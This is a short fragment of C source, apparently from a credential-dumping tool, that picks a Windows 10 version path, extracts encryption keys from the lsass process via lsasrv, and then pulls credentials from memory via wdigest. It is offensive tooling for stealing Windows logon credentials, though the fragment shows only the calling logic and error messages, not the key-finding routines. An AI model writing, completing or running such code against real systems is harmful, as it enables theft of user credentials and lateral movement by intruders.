else if (flag == 3) {
//For Win10_1507
if (FindKeysOnWin10(hLsass, lsasrv) != 0) {
printf("[x] Error: Could not find keys in lsass\n");
return 1;
}
}
// With keys extracted, we can extract credentials from memory
if (FindCredentials(hLsass, wdigest) != 0) {
printf("[x] Error: Could not find credentials in lsass\n");
return 1;
}
}